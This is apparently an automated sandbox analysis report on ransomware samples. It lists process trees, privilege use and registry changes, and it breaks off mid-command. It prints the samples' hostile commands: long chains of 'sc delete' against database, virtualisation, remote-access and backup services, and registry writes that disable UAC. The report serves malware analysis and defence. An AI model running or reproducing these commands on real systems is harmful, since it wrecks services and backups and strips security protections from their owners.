HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 4372 NOTEPAD.EXE -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1260 powershell.exe 1260 powershell.exe 1260 powershell.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1352 taskmgr.exe -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 4304 HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeRestorePrivilege 3856 7zFM.exe Token: 35 3856 7zFM.exe Token: SeSecurityPrivilege 3856 7zFM.exe Token: SeDebugPrivilege 3124 taskmgr.exe Token: SeSystemProfilePrivilege 3124 taskmgr.exe Token: SeCreateGlobalPrivilege 3124 taskmgr.exe Token: SeDebugPrivilege 1352 taskmgr.exe Token: SeSystemProfilePrivilege 1352 taskmgr.exe Token: SeCreateGlobalPrivilege 1352 taskmgr.exe Token: 33 3124 taskmgr.exe Token: SeIncBasePriorityPrivilege 3124 taskmgr.exe Token: SeDebugPrivilege 1260 powershell.exe Token: SeIncreaseQuotaPrivilege 5920 WMIC.exe Token: SeSecurityPrivilege 5920 WMIC.exe Token: SeTakeOwnershipPrivilege 5920 WMIC.exe Token: SeLoadDriverPrivilege 5920 WMIC.exe Token: SeSystemProfilePrivilege 5920 WMIC.exe Token: SeSystemtimePrivilege 5920 WMIC.exe Token: SeProfSingleProcessPrivilege 5920 WMIC.exe Token: SeIncBasePriorityPrivilege 5920 WMIC.exe Token: SeCreatePagefilePrivilege 5920 WMIC.exe Token: SeBackupPrivilege 5920 WMIC.exe Token: SeRestorePrivilege 5920 WMIC.exe Token: SeShutdownPrivilege 5920 WMIC.exe Token: SeDebugPrivilege 5920 WMIC.exe Token: SeSystemEnvironmentPrivilege 5920 WMIC.exe Token: SeRemoteShutdownPrivilege 5920 WMIC.exe Token: SeUndockPrivilege 5920 WMIC.exe Token: SeManageVolumePrivilege 5920 WMIC.exe Token: 33 5920 WMIC.exe Token: 34 5920 WMIC.exe Token: 35 5920 WMIC.exe Token: 36 5920 WMIC.exe Token: SeIncreaseQuotaPrivilege 6184 WMIC.exe Token: SeSecurityPrivilege 6184 WMIC.exe Token: SeTakeOwnershipPrivilege 6184 WMIC.exe Token: SeLoadDriverPrivilege 6184 WMIC.exe Token: SeSystemProfilePrivilege 6184 WMIC.exe Token: SeSystemtimePrivilege 6184 WMIC.exe Token: SeProfSingleProcessPrivilege 6184 WMIC.exe Token: SeIncBasePriorityPrivilege 6184 WMIC.exe Token: SeCreatePagefilePrivilege 6184 WMIC.exe Token: SeBackupPrivilege 6184 WMIC.exe Token: SeRestorePrivilege 6184 WMIC.exe Token: SeShutdownPrivilege 6184 WMIC.exe Token: SeDebugPrivilege 6184 WMIC.exe Token: SeSystemEnvironmentPrivilege 6184 WMIC.exe Token: SeRemoteShutdownPrivilege 6184 WMIC.exe Token: SeUndockPrivilege 6184 WMIC.exe Token: SeManageVolumePrivilege 6184 WMIC.exe Token: 33 6184 WMIC.exe Token: 34 6184 WMIC.exe Token: 35 6184 WMIC.exe Token: 36 6184 WMIC.exe Token: SeIncreaseQuotaPrivilege 6304 WMIC.exe Token: SeSecurityPrivilege 6304 WMIC.exe Token: SeTakeOwnershipPrivilege 6304 WMIC.exe Token: SeLoadDriverPrivilege 6304 WMIC.exe Token: SeSystemProfilePrivilege 6304 WMIC.exe Token: SeSystemtimePrivilege 6304 WMIC.exe Token: SeProfSingleProcessPrivilege 6304 WMIC.exe Token: SeIncBasePriorityPrivilege 6304 WMIC.exe Token: SeCreatePagefilePrivilege 6304 WMIC.exe Token: SeBackupPrivilege 6304 WMIC.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3856 7zFM.exe 3856 7zFM.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 3124 taskmgr.exe 3124 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe 1352 taskmgr.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3124 wrote to memory of 1352 3124 taskmgr.exe 97 PID 3124 wrote to memory of 1352 3124 taskmgr.exe 97 PID 1260 wrote to memory of 1584 1260 powershell.exe 102 PID 1260 wrote to memory of 1584 1260 powershell.exe 102 PID 1584 wrote to memory of 1512 1584 cmd.exe 104 PID 1584 wrote to memory of 1512 1584 cmd.exe 104 PID 1584 wrote to memory of 1512 1584 cmd.exe 104 PID 1584 wrote to memory of 4844 1584 cmd.exe 105 PID 1584 wrote to memory of 4844 1584 cmd.exe 105 PID 1584 wrote to memory of 4844 1584 cmd.exe 105 PID 1584 wrote to memory of 3172 1584 cmd.exe 106 PID 1584 wrote to memory of 3172 1584 cmd.exe 106 PID 1584 wrote to memory of 3172 1584 cmd.exe 106 PID 1584 wrote to memory of 4652 1584 cmd.exe 107 PID 1584 wrote to memory of 4652 1584 cmd.exe 107 PID 1584 wrote to memory of 4652 1584 cmd.exe 107 PID 1584 wrote to memory of 3236 1584 cmd.exe 108 PID 1584 wrote to memory of 3236 1584 cmd.exe 108 PID 1584 wrote to memory of 3236 1584 cmd.exe 108 PID 1584 wrote to memory of 4884 1584 cmd.exe 109 PID 1584 wrote to memory of 4884 1584 cmd.exe 109 PID 1584 wrote to memory of 4884 1584 cmd.exe 109 PID 1584 wrote to memory of 1412 1584 cmd.exe 110 PID 1584 wrote to memory of 1412 1584 cmd.exe 110 PID 1584 wrote to memory of 1412 1584 cmd.exe 110 PID 1584 wrote to memory of 1636 1584 cmd.exe 111 PID 1584 wrote to memory of 1636 1584 cmd.exe 111 PID 1584 wrote to memory of 1636 1584 cmd.exe 111 PID 1584 wrote to memory of 5016 1584 cmd.exe 112 PID 1584 wrote to memory of 5016 1584 cmd.exe 112 PID 1584 wrote to memory of 5016 1584 cmd.exe 112 PID 1584 wrote to memory of 2732 1584 cmd.exe 113 PID 1584 wrote to memory of 2732 1584 cmd.exe 113 PID 1584 wrote to memory of 2732 1584 cmd.exe 113 PID 4884 wrote to memory of 220 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 117 PID 4884 wrote to memory of 220 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 117 PID 4884 wrote to memory of 220 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 117 PID 4884 wrote to memory of 4348 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 588 PID 4884 wrote to memory of 4348 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 588 PID 4884 wrote to memory of 4348 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 588 PID 4884 wrote to memory of 848 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 122 PID 4884 wrote to memory of 848 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 122 PID 4884 wrote to memory of 848 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 122 PID 4884 wrote to memory of 4260 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 123 PID 4884 wrote to memory of 4260 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 123 PID 4884 wrote to memory of 4260 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 123 PID 4884 wrote to memory of 5040 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 488 PID 4884 wrote to memory of 5040 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 488 PID 4884 wrote to memory of 5040 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 488 PID 4884 wrote to memory of 5056 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 129 PID 4884 wrote to memory of 5056 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 129 PID 4884 wrote to memory of 5056 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 129 PID 4884 wrote to memory of 3220 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 270 PID 4884 wrote to memory of 3220 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 270 PID 4884 wrote to memory of 3220 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 270 PID 1584 wrote to memory of 392 1584 cmd.exe 130 PID 1584 wrote to memory of 392 1584 cmd.exe 130 PID 1584 wrote to memory of 392 1584 cmd.exe 130 PID 4884 wrote to memory of 4940 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 134 PID 4884 wrote to memory of 4940 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 134 PID 4884 wrote to memory of 4940 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 134 PID 4884 wrote to memory of 5328 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 137 PID 4884 wrote to memory of 5328 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 137 PID 4884 wrote to memory of 5328 4884 HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe 137 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe
Processes
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00405.7z"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3856
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3124 -
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /12⤵
- Drops startup file
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1352
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1260 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1584 -
C:\Users\Admin\Desktop\00405\HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exeHEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1512 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Lujywerrasm.vbs"4⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
PID:6352 -
C:\Users\Admin\AppData\Local\Temp\killer.exe"C:\Users\Admin\AppData\Local\Temp\killer.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6316 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\7B07.tmp\7B08.tmp\7B09.bat C:\Users\Admin\AppData\Local\Temp\killer.exe"6⤵PID:6564
-
C:\Windows\system32\cmd.execmd /c "color b & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete QcSoftService & @sc delete MSSQLServerOLAPService & @sc delete VMTools & @sc delete VGAuthService & @sc delete MSDTC & @sc delete TeamViewer & @sc delete ReportServer & @sc delete RabbitMQ & @sc delete "AHS SERVICE" & @sc delete "Sense Shield Service" & @sc delete SSMonitorService & @sc delete SSSyncService & @sc delete TPlusStdAppService1300 & @sc delete MSSQL$SQL2008 & @sc delete SQLAgent$SQL2008 & @sc delete TPlusStdTaskService1300 & @sc delete TPlusStdUpgradeService1300 & @sc delete VirboxWebServer & @sc delete jhi_service & @sc delete LMS & @sc delete "FontCache3.0.0.0" & @sc delete "OSP Service""7⤵PID:6784
-
C:\Windows\system32\sc.exesc delete "XT800Service_Personal"8⤵PID:6368
-
-
C:\Windows\system32\sc.exesc delete SQLSERVERAGENT8⤵PID:6448
-
-
C:\Windows\system32\sc.exesc delete SQLWriter8⤵PID:5148
-
-
C:\Windows\system32\sc.exesc delete SQLBrowser8⤵PID:216
-
-
C:\Windows\system32\sc.exesc delete MSSQLFDLauncher8⤵
- Launches sc.exe
PID:5248
-
-
C:\Windows\system32\sc.exesc delete MSSQLSERVER8⤵PID:7072
-
-
C:\Windows\system32\sc.exesc delete QcSoftService8⤵PID:5316
-
-
C:\Windows\system32\sc.exesc delete MSSQLServerOLAPService8⤵PID:3192
-
-
C:\Windows\system32\sc.exesc delete VMTools8⤵
- Launches sc.exe
PID:7088
-
-
C:\Windows\system32\sc.exesc delete VGAuthService8⤵PID:6320
-
-
C:\Windows\system32\sc.exesc delete MSDTC8⤵PID:1744
-
-
C:\Windows\system32\sc.exesc delete TeamViewer8⤵PID:4980
-
-
C:\Windows\system32\sc.exesc delete ReportServer8⤵
- Launches sc.exe
PID:5348
-
-
C:\Windows\system32\sc.exesc delete RabbitMQ8⤵PID:4932
-
-
C:\Windows\system32\sc.exesc delete "AHS SERVICE"8⤵PID:6608
-
-
C:\Windows\system32\sc.exesc delete "Sense Shield Service"8⤵PID:3724
-
-
C:\Windows\system32\sc.exesc delete SSMonitorService8⤵
- Launches sc.exe
PID:6840
-
-
C:\Windows\system32\sc.exesc delete SSSyncService8⤵
- Launches sc.exe
PID:5944
-
-
C:\Windows\system32\sc.exesc delete TPlusStdAppService13008⤵PID:6424
-
-
C:\Windows\system32\sc.exesc delete MSSQL$SQL20088⤵PID:4868
-
-
C:\Windows\system32\sc.exesc delete SQLAgent$SQL20088⤵PID:2460
-
-
C:\Windows\system32\sc.exesc delete TPlusStdTaskService13008⤵
- Launches sc.exe
PID:1428
-
-
C:\Windows\system32\sc.exesc delete TPlusStdUpgradeService13008⤵PID:2308
-
-
C:\Windows\system32\sc.exesc delete VirboxWebServer8⤵PID:5832
-
-
C:\Windows\system32\sc.exesc delete jhi_service8⤵PID:6364
-
-
C:\Windows\system32\sc.exesc delete LMS8⤵
- Launches sc.exe
PID:3920
-
-
C:\Windows\system32\sc.exesc delete "FontCache3.0.0.0"8⤵PID:6300
-
-
C:\Windows\system32\sc.exesc delete "OSP Service"8⤵PID:6192
-
-
-
C:\Windows\system32\cmd.execmd /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc delete TCPIDDAService & @sc delete WebAttendServer & @sc delete UIODetect & @sc delete "wanxiao-monitor" & @sc delete VMAuthdService & @sc delete VMUSBArbService & @sc delete VMwareHostd & @sc delete "vm-agent" & @sc delete VmAgentDaemon & @sc delete OpenSSHd & @sc delete eSightService & @sc delete apachezt & @sc delete Jenkins & @sc delete secbizsrv & @sc delete SQLTELEMETRY & @sc delete MSMQ & @sc delete smtpsvrJT & @sc delete zyb_sync & @sc delete 360EntHttpServer & @sc delete 360EntSvc & @sc delete 360EntClientSvc & @sc delete NFWebServer & @sc delete wampapache & @sc delete MSSEARCH & @sc delete msftesql & @sc delete "SyncBASE Service" & @sc delete OracleDBConcoleorcl & @sc delete OracleJobSchedulerORCL & @sc delete OracleMTSRecoveryService"7⤵PID:6612
-
C:\Windows\system32\sc.exesc delete "DAService_TCP"8⤵
- Launches sc.exe
PID:5604
-
-
C:\Windows\system32\sc.exesc delete "eCard-TTransServer"8⤵
- Launches sc.exe
PID:1468
-
-
C:\Windows\system32\sc.exesc delete eCardMPService8⤵PID:5364
-
-
C:\Windows\system32\sc.exesc delete EnergyDataService8⤵PID:6776
-
-
C:\Windows\system32\sc.exesc delete UI0Detect8⤵PID:6764
-
-
C:\Windows\system32\sc.exesc delete K3MobileService8⤵
- Launches sc.exe
PID:4880
-
-
C:\Windows\system32\sc.exesc delete TCPIDDAService8⤵PID:2548
-
-
C:\Windows\system32\sc.exesc delete WebAttendServer8⤵PID:7088
-
-
C:\Windows\system32\sc.exesc delete UIODetect8⤵PID:6740
-
-
C:\Windows\system32\sc.exesc delete "wanxiao-monitor"8⤵PID:6140
-
-
C:\Windows\system32\sc.exesc delete VMAuthdService8⤵PID:7124
-
-
C:\Windows\system32\sc.exesc delete VMUSBArbService8⤵PID:7100
-
-
C:\Windows\system32\sc.exesc delete VMwareHostd8⤵PID:2516
-
-
C:\Windows\system32\sc.exesc delete "vm-agent"8⤵
- Launches sc.exe
PID:7132
-
-
C:\Windows\system32\sc.exesc delete VmAgentDaemon8⤵PID:6448
-
-
C:\Windows\system32\sc.exesc delete OpenSSHd8⤵PID:3500
-
-
C:\Windows\system32\sc.exesc delete eSightService8⤵PID:5516
-
-
C:\Windows\system32\sc.exesc delete apachezt8⤵PID:868
-
-
C:\Windows\system32\sc.exesc delete Jenkins8⤵
- Launches sc.exe
PID:6828
-
-
C:\Windows\system32\sc.exesc delete secbizsrv8⤵PID:6848
-
-
C:\Windows\system32\sc.exesc delete SQLTELEMETRY8⤵PID:5820
-
-
C:\Windows\system32\sc.exesc delete MSMQ8⤵
- Launches sc.exe
PID:3964
-
-
C:\Windows\system32\sc.exesc delete smtpsvrJT8⤵PID:5560
-
-
C:\Windows\system32\sc.exesc delete zyb_sync8⤵
- Launches sc.exe
PID:6860
-
-
C:\Windows\system32\sc.exesc delete 360EntHttpServer8⤵
- Launches sc.exe
PID:6340
-
-
C:\Windows\system32\sc.exesc delete 360EntSvc8⤵PID:5560
-
-
C:\Windows\system32\sc.exesc delete 360EntClientSvc8⤵
- Launches sc.exe
PID:4292
-
-
C:\Windows\system32\sc.exesc delete NFWebServer8⤵PID:4736
-
-
C:\Windows\system32\sc.exesc delete wampapache8⤵PID:4792
-
-
C:\Windows\system32\sc.exesc delete MSSEARCH8⤵PID:6164
-
-
C:\Windows\system32\sc.exesc delete msftesql8⤵PID:2956
-
-
C:\Windows\system32\sc.exesc delete "SyncBASE Service"8⤵PID:6772
-
-
C:\Windows\system32\sc.exesc delete OracleDBConcoleorcl8⤵
- Launches sc.exe
PID:5624
-
-
C:\Windows\system32\sc.exesc delete OracleJobSchedulerORCL8⤵
- Launches sc.exe
PID:6720
-
-
C:\Windows\system32\sc.exesc delete OracleMTSRecoveryService8⤵PID:1336
-
-
-
C:\Windows\system32\cmd.execmd /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc delete Redis & @sc delete OracleVssWriterORCL & @sc delete JhTask & @sc delete ImeDictUpdateService & @sc delete XT800Service_Personal & @sc delete MCService & @sc delete ImeDictUpdateService & @sc delete allpass_redisservice_port21160 & @sc delete "Flash Helper Service" & @sc delete "Kiwi Syslog Server" & @sc delete "UWS HiPriv Services""7⤵PID:5816
-
C:\Windows\system32\sc.exesc delete OracleOraDb11g_home1ClrAgent8⤵
- Launches sc.exe
PID:3336
-
-
C:\Windows\system32\sc.exesc delete OracleOraDb11g_home1TNSListener8⤵PID:720
-
-
C:\Windows\system32\sc.exesc delete OracleVssWriterORCL8⤵
- Launches sc.exe
PID:5852
-
-
C:\Windows\system32\sc.exesc delete OracleServiceORCL8⤵
- Launches sc.exe
PID:2428
-
-
C:\Windows\system32\sc.exesc delete aspnet_state @sc delete Redis8⤵PID:6376
-
-
C:\Windows\system32\sc.exesc delete OracleVssWriterORCL8⤵PID:6716
-
-
C:\Windows\system32\sc.exesc delete JhTask8⤵
- Launches sc.exe
PID:5548
-
-
C:\Windows\system32\sc.exesc delete ImeDictUpdateService8⤵PID:3220
-
-
C:\Windows\system32\sc.exesc delete XT800Service_Personal8⤵PID:6792
-
-
C:\Windows\system32\sc.exesc delete MCService8⤵PID:8
-
-
C:\Windows\system32\sc.exesc delete ImeDictUpdateService8⤵PID:6576
-
-
C:\Windows\system32\sc.exesc delete allpass_redisservice_port211608⤵PID:3908
-
-
C:\Windows\system32\sc.exesc delete "Flash Helper Service"8⤵PID:4264
-
-
C:\Windows\system32\sc.exesc delete "Kiwi Syslog Server"8⤵PID:720
-
-
C:\Windows\system32\sc.exesc delete "UWS HiPriv Services"8⤵
- Launches sc.exe
PID:4320
-
-
-
C:\Windows\system32\cmd.execmd /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusbrdsrv & @sc delete "ZTE USBIP Client Guard" & @sc delete "ZTE USBIP Client" & @sc delete "ZTE FileTranS" & @sc delete wwbizsrv & @sc delete qemu-ga & @sc delete AlibabaProtect & @sc delete ZTEVdservice & @sc delete kbasesrv & @sc delete MMRHookService & @sc delete OracleJobSchedulerORCL & @sc delete IpOverUsbSvc & @sc delete MsDtsServer100 & @sc delete KuaiYunTools & @sc delete KMSELDI & @sc delete btPanel & @sc delete Protect_2345Explorer & @sc delete 2345PicSvc & @sc delete vmware-converter-agent & @sc delete vmware-converter-server & @sc delete vmware-converter-worker & @sc delete QQCertificateService & @sc delete OracleRemExecService & @sc delete GPSDaemon & @sc delete GPSUserSvr & @sc delete GPSDownSvr & @sc delete GPSStorageSvr & @sc delete GPSDataProcSvr & @sc delete GPSGatewaySvr & @sc delete GPSMediaSvr & @sc delete GPSLoginSvr & @sc delete GPSTomcat6 & @sc delete GPSMysqld & @sc delete GPSFtpd & @sc delete "Zabbix Agent" & @sc delete BackupExecAgentAccelerator & @sc delete bedbg & @sc delete BackupExecDeviceMediaService & @sc delete BackupExecRPCService & @sc delete BackupExecAgentBrowser & @sc delete BackupExecJobEngine & @sc delete BackupExecManagementService & @sc delete MDM & @sc delete TxQBService & @sc delete Gailun_Downloader & @sc delete RemoteAssistService & @sc delete YunService & @sc delete Serv-U & @sc delete "EasyFZS Server" & @sc delete "Rpc Monitor" & @sc delete OpenFastAssist & @sc delete "Nuo Update Monitor" & @sc delete "Daemon Service" & @sc delete 